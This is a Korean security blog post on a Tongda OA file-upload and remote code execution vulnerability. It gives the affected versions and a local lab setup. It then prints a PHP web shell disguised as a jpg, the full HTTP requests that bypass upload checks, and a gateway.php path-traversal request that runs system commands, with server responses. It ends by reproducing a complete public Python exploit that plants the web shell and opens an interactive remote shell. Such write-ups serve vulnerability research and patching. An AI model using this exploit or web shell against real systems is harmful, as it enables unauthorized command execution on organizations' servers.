Hacking & Security/Vulnerability

Tongda OA file upload AND RCE Vulnerability

피망IT 2021. 2. 27. 06:35
반응형

1. 개념

Tongda OA는 중국에서 운영중인 회사 내에서 일정 관리, 공지 사항, 커뮤니케이션 등을 중앙에서 관리할 수 있는 소프트웨어이다.

해당 소프트웨어에 임의의 파일 업로드 및 업로드된 파일을 통한 RCE 공격이 가능하다. 

 

www.tongda2000.com/index.php

 

【通达OA】办公就用通达OA,通达OA官方网站_OA系统_协同办公

产品亮点

www.tongda2000.com

2. 취약점 설명

upload.php 경로에서 파일 업로드를 수행할 때 적절한 검증을 수행하지 않아 php 구문을 삽입 한 jpg 파일 업로드 취약점이 존재하고 해당 요청에 대한 응답 값을 통해  업로드한 파일 명을 확인할 수 있다.

업로드한 jpg 파일을 php 파일로 실행시키기 위해 gateway.php에 접근한 후  json 매개변수 값을 수정하여 RCE 공격을 수행한다.

 

1) 영향을 받는 버전

tongdaOA V11
tangdaOA 2017
tangdaOA 2016
tangdaOA 2015
tangdaOA 2013

 

3. 취약점 진단 환경 구성

1) Tongda OA 설치

아래 URL을 통해 Tongda OA를 설치한다.

https://cdndown.tongda2000.com/oa/2019/TDOA11.2.exe

 

2) 프로그램 실행

Tongda OA를 실행 한 후 IP, 포트번호를 설정하고 OK를 눌러 서비스를 실행한다.

 

3) 서비스 시작

Monitor 프로그램을 실행한 후 서버 동작에 필요한 서비스를 실행한다.

 

 

4) 정상접근 확인

http://127.0.0.1:80로 접근 시 정상적으로 동작하는것을 확인할 수 있다.

 

4.PoC (Proof Of Concept)

1) 업로드 파일 접근 시도

GET 메소드를 통해 /ispirit/im/upload.php 파일에 접근하면 검증 우회를 통한 파일 업로드를 수행하지 않아서 에러 메시지가 출력되는것을 확인할 수 있다.

 

1.1) Request

GET /ispirit/im/upload.php
Host: 127.0.0.1
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

 

 

1.2) Response

 

 

1.3) upload.php 파일 확인

upload.php 파일은 [설치한 경로]\MYOA\webroot\ispirit\im\upload.php에 존재하고 파일은 zend 암호화가 되어있어 복호화(Dezend)후 파일 내용을 확인할 수 있다.

 

2) 업로드 인터페이스 구성

파일 업로드 시 검증 우회를 수행하기위해 3개의 매개변수인  P, UPLOAD_MODE, DEST_UID 값에 1을 삽입하여 검증 우회를 수행한다.

인증 우회 php 동작과정은 아래 링크를 참고하면 된다.

 

인증우회 동작과정 설명

<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post"  enctype="multipart/form-data">
<input  type="text"name='P' value = 1  ></input>
<input  type="text"name='MSG_CATE' value = 'file'></input>
<input  type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>

 

3) php 코드로 구성 된 jpg 파일 생성

cmd를 실행할 수 있는 php 코드를 작성한 후 해당 파일을 jpg 파일로 변환하여 저장한다.

 

<?php
//Save as jpg
    $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");  
    $exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");  
    $stdout = $exec->StdOut();  
    $stroutput = $stdout->ReadAll();  
    echo $stroutput;
?>

 

해당 과정까지 진행하면 php 파일을 업로드 할 jpg 파일과 해당 인터페이스를 수행할 html 파일이 생성된다. 

 

4) 파일 업로드 취약점 수행

html 파일을 실행 시킨 후 이전에 생성한 jpg 파일을 업로드 하여 해당 요청을 전송한다.

 

 

 

4.1) Request

POST 전송을 통해 /ispirit/im/upload.php에 접근한 후 3개의 매개변수 값에 1이 삽입되어 검증을 우회하여 php 구문이 삽입 된 jpg 파일이 업로드 되는것을 확인할 수 있다.

POST /ispirit/im/upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 831
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJkKC80Vl3RuHVoA1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=1
Connection: close

------WebKitFormBoundaryJkKC80Vl3RuHVoA1
Content-Disposition: form-data; name="P"

1
------WebKitFormBoundaryJkKC80Vl3RuHVoA1
Content-Disposition: form-data; name="MSG_CATE"

file
------WebKitFormBoundaryJkKC80Vl3RuHVoA1
Content-Disposition: form-data; name="UPLOAD_MODE"

1
------WebKitFormBoundaryJkKC80Vl3RuHVoA1
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundaryJkKC80Vl3RuHVoA1
Content-Disposition: form-data; name="ATTACHMENT"; filename="test.jpg"
Content-Type: image/jpeg

<?
//Save as jpg
    $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
    $exec=$phpwsh->exec("cmd.exe /c" .$POST['cmd']."");
    $stdout = $exec->StdOut();  
    $stroutput = $stdout->ReadAll();  
    echo $stroutput;
?>
------WebKitFormBoundaryJkKC80Vl3RuHVoA1--

 

4.2) Response

응답 값을 통해 서버에 업로드된 파일명을 확인할 수 있다.

2101 폴더에 865286184.test.jpg 파일의 이름으로 서버에 저장되었다.

 

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 26 Feb 2021 19:50:09 GMT
Content-Type: text/html; charset=gbk
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 78
{"status":1,"content":"[fm]252@2102_865286184|test.jpg|260[\/fm]","file_id":1}

 

5) RCE 공격을 통해 Shell Mode 획득

이전에 업로드한 jpg 파일이 웹 디렉터리에 존재하지 않아 직접 접근할 수 없기 때문에 POST 전송을 통해 webroot 안에있는 gateway.php 파일에 접근한 후 json 매개변수를 통해 webroot 안에있는 /general경로로 이동한 후 directory traversal을 이용하여 파일이 업로드된 경로로 이동하여 웹쉘을 실행한다.

 

5.1) request

요청 구문에 Content-Type 항목이 없기 때문에 수동으로 기입한다.

Content-Type: application/x-www-form-urlencoded

json 매개변수를 통해 이전에 업로드 한 jpg 파일을 실행한 후 net user 명령어를 수행한다.

 

POST /ispirit/interface/gateway.php HTTP /1.1

Host: 192.168.123.120

Cache-Control: max-age=0

DNT: 1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: PHPSESSID=1; KEY_RANDOMDATA=16392

Connection: close

Content-Length: 78

Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2102/865286184.test.jpg"}&cmd=net user

5.2) response

웹쉘이 실행되고 net user 명령어의 결과가 출력된것을 확인할 수 있다.

 

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 26 Feb 2021 20:42:47 GMT
Content-Type: text/html; charset=gbk
Connection: close
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 307


\\俊 措茄 荤侩磊 拌沥

-------------------------------------------------------------------------------
Administrator            ASPNET                   DefaultAccount           
Guest                    USER                     WDAGUtilityAccount       
疙飞捞 窍唱 捞惑狼 坷幅肺 肯丰登菌嚼聪促.

5. Exploit

#sudo git clone github.com/fuhei/tongda_rce

 

#vim tongda_rce.py //최신 날짜 폴더로 수정

 

#python3 tongda_rce.py http://127.0.0.1

 

Exploit

더보기
#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
'''
@File    :   tongda_rce.py
@Time    :   2020/03/18 11:59:48
@Author  :   fuhei 
@Version :   1.0
@Blog    :   http://www.lovei.org
'''

import requests
import re
import sys


def check(url):
    
    try:
        url1 = url + '/ispirit/im/upload.php'
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"}
        data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"f.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php\r\n$command=$_POST['f'];\r\n$wsh = new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c \".$command);\r\n$stdout = $exec->StdOut();\r\n$stroutput = $stdout->ReadAll();\r\necho $stroutput;\r\n?>\n\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"P\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"DEST_UID\"\r\n\r\n1222222\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"UPLOAD_MODE\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668--\r\n"
        result = requests.post(url1, headers=headers, data=data)

        name = "".join(re.findall("2003_(.+?)\|",result.text))
        url2 = url + '/ispirit/interface/gateway.php'
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
        data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "echo fffhhh"}
        result = requests.post(url2, headers=headers, data=data)
        if result.status_code == 200 and 'fffhhh' in result.text:
            # print("[+] Remote code execution vulnerability exists at the target address")
            return name
        else:   
            return False
    except:
        pass

def command(url, name,command="whoami"):
    url = url + '/ispirit/interface/gateway.php'
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
    data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "%s" % command}
    result = requests.post(url, headers=headers, data=data)
    while(1):
        command = input("fuhei@shell$ ")
        if command == 'exit' or command  == 'quit':
            break
        else:
            data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "%s" % command}
            result = requests.post(url, headers=headers, data=data)
            print(result.text)

if __name__ == '__main__':
    url = sys.argv[1]
    name = check(url)
    if name:
        print("[+] Remote code execution vulnerability exists at the target address")
        command(url,name)
    else:
        print("[-] There is no remote code execution vulnerability in the target address")

 

[참고]

Exploit: www.programmersought.com/article/57317326186/

php 파일 인증우회 동작과정: blog.csdn.net/qq_42804789 

공식 홈페이지: www.tongda2000.com/news/p673.php

728x90
반응형